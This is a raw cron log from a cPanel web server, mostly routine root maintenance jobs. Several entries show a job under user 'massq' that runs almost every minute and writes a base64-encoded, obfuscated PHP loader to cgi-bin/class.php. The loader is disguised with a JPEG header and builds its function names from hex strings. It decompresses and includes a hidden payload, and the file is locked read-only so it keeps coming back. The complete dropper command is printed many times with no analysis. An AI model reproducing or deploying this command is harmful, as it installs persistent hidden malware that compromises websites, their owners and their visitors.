Sep  9 03:03:01 server CROND[9214]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 03:03:01 server CROND[9213]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:04:01 server CROND[9693]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:04:01 server CROND[9694]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:04:01 server CROND[9695]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 03:05:01 server CROND[10145]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:05:01 server CROND[10146]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 03:05:01 server CROND[10147]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 03:05:01 server CROND[10150]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 03:05:01 server CROND[10149]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 03:05:01 server CROND[10156]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 03:05:01 server CROND[10154]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 03:05:01 server CROND[10152]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:06:01 server CROND[11686]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:06:01 server CROND[11687]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 03:06:01 server CROND[11689]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:07:01 server CROND[12752]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 03:07:01 server CROND[12753]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:07:01 server CROND[12755]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:08:01 server CROND[13741]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 03:08:01 server CROND[13743]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:08:01 server CROND[13742]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:09:01 server CROND[14794]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 03:09:01 server CROND[14796]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 03:09:01 server CROND[14798]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:09:01 server CROND[14797]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:10:01 server CROND[15179]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 03:10:01 server CROND[15182]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 03:10:01 server CROND[15188]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 03:10:01 server CROND[15190]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 03:10:01 server CROND[15191]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:10:01 server CROND[15195]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 03:10:01 server CROND[15193]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 03:10:01 server CROND[15189]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:11:01 server CROND[16020]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:11:01 server CROND[16021]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:11:01 server CROND[16022]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 03:12:01 server CROND[16411]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 03:12:01 server CROND[16410]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:12:01 server CROND[16409]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 03:12:01 server CROND[16412]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:13:01 server CROND[16797]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:13:01 server CROND[16798]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:13:01 server CROND[16800]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 03:14:01 server CROND[17182]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:14:01 server CROND[17183]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 03:14:01 server CROND[17181]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:15:01 server CROND[17666]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 03:15:01 server CROND[17672]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:15:01 server CROND[17677]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
